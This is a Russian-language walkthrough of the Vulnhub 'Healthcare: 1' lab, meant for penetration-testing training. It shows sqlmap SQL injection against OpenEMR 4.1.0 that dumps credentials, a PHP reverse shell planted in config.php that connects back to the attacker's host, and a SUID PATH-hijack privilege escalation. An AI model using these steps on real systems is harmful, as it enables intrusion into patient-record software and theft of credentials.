Healthcare: 1 | Пошаговое руководство Vulnhub

Дата: 05.11.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Healthcare: 1 | Пошаговое руководство Vulnhub

В этой статье пойдет речь о задаче boot2root под названием «HEALTHCARE 1». Лаборатория была разработана для обучения искусству тестирования на проникновение.

Заслуга создания этой лаборатории принадлежит v1n1v131r4. Она доступна для скачивания по ссылке. Это лаборатория среднего уровня сложности, которая содержит два флага: user.txt и root.txt.

Первые шаги

Нужно начать сканирование сети с помощью команды «netdiscover», чтобы определить IP-адрес цели, как показано ниже на картинке:

netdiscover
Healthcare: 1 | Пошаговое руководство Vulnhub

IP-адрес цели – это 192.168.0.158. Итак, пришло время получить дополнительную информацию о ней, выполнив команду перечисления портов с помощью «Nmap»:

nmap -A 192.168.0.158
Healthcare: 1 | Пошаговое руководство Vulnhub

Перечисление

Первоначальное сканирование показало, что открыты порты 21 (FTP) и 80 (HTTP). Веб-сервер обычно имеет самую большую поверхность атаки, поэтому сначала стоит рассмотреть его, он доступен на порту 80. Однако пользователь не находит никаких подсказок, когда исследует страницу (включая все подссылки и исходный код).

Healthcare: 1 | Пошаговое руководство Vulnhub

Чтобы продолжить перечисление, стоит открыть Gobuster — инструмент для проведения перечисления каталогов и поиска других веб-каталогов и скрытого контента, который может иметь это веб-приложение.

gobuster dir -u http://192.168.0.158/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 –e 
Healthcare: 1 | Пошаговое руководство Vulnhub

Инструмент Gobuster нашел такие каталоги, как favicon, robots, openemr, fonts, images. Каталог «openemr», по-видимому, содержит страницу входа в систему и программное обеспечение OpenEMR с его установленной версией, т.е. OpenEMR v4.1.0. С помощью поиска Google пользователь находит нужный ему эксплойт с SQL-инъекцией: sql-injection-vulnerability-in-openemr.

Healthcare: 1 | Пошаговое руководство Vulnhub

Стоит использовать Sqlmap для дальнейшего перечисления имен баз данных с помощью следующей команды:

sqlmap -u http://192.168.0.158/openemr/interface/login/validateUser.php?u= --dbs --batch
Healthcare: 1 | Пошаговое руководство Vulnhub

Пользователь получает список имен баз данных, как показано ниже на картинке:

Healthcare: 1 | Пошаговое руководство Vulnhub

База данных под названием «openemr» связана с веб-приложением, которое пользователь исследует, поэтому он проводит ее перечисление:

sqlmap -u http://192.168.0.158/openemr/interface/login/validateUser.php?u= -D openemr -T users --dump --batch
Healthcare: 1 | Пошаговое руководство Vulnhub

Пользователь получает данные о двух пользователях и их паролях, как показано ниже на картинке:

Healthcare: 1 | Пошаговое руководство Vulnhub

Применение полученных данных

Теперь нужно перейти на страницу входа в веб-приложение «openemr» и использовать учетные данные Ackbar для входа в систему в качестве администратора:

Healthcare: 1 | Пошаговое руководство Vulnhub

По мере изучения приложения пользователь понимает, что может редактировать файл config.php, который находится на вкладке «Администрирование», как видно на картинке ниже:

Healthcare: 1 | Пошаговое руководство Vulnhub

Человек переписывает содержание файла config.php с помощью обратного Shell PHP php-reverse-shell.php и заменяет IP цели на IP своего Kali Linux, как показано ниже на картинке:

Healthcare: 1 | Пошаговое руководство Vulnhub

Нужно сохранить вышеуказанные изменения, запустить листенер Netcat на Kali. Таким образом, пользователь получит обратный Shell после перезагрузки веб-страницы:

nc -lvp 1234

Теперь, когда у пользователя есть обратный Shell, стоит обновить его до полностью интерактивного Shell TTY с помощью python-onliner и далее перейти к перечислению Post, чтобы повысить привилегии root. Поэтому сначала пользователь входит в систему как medical:medical (происходит перечисление с помощью SQLi), а затем он пытается идентифицировать двоичные файлы SUID Enables с помощью команды «find».

python -c 'import pty; pty.spawn("/bin/bash")'
su medical
find / -perm -u=s -type f 2>/dev/null

Пользователь обнаружил SUID Bit, активный для /usr/bin/healthcheck.

Healthcare: 1 | Пошаговое руководство Vulnhub

Человек дальше исследует «healthcheck» с помощью команды «strings» и обнаруживает, что можно просканировать систему, выполняя такие команды, как «ifconfig» и «fdisk»:

string /usr/bin/healthcheck
Healthcare: 1 | Пошаговое руководство Vulnhub

Повышение привилегий

Пользователь может повысить привилегии с использованием переменной PATH:

cd /tmp
echo "bin/bash" > fdisk
chmod 777 fdisk
export PATH=/tmp:$PATH
/usr/bin/healthcheck
cd /root
ls
Healthcare: 1 | Пошаговое руководство Vulnhub

Был получен флаг root.txt.

Healthcare: 1 | Пошаговое руководство Vulnhub

Автор переведенной статьи: Shrawan Kumar.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *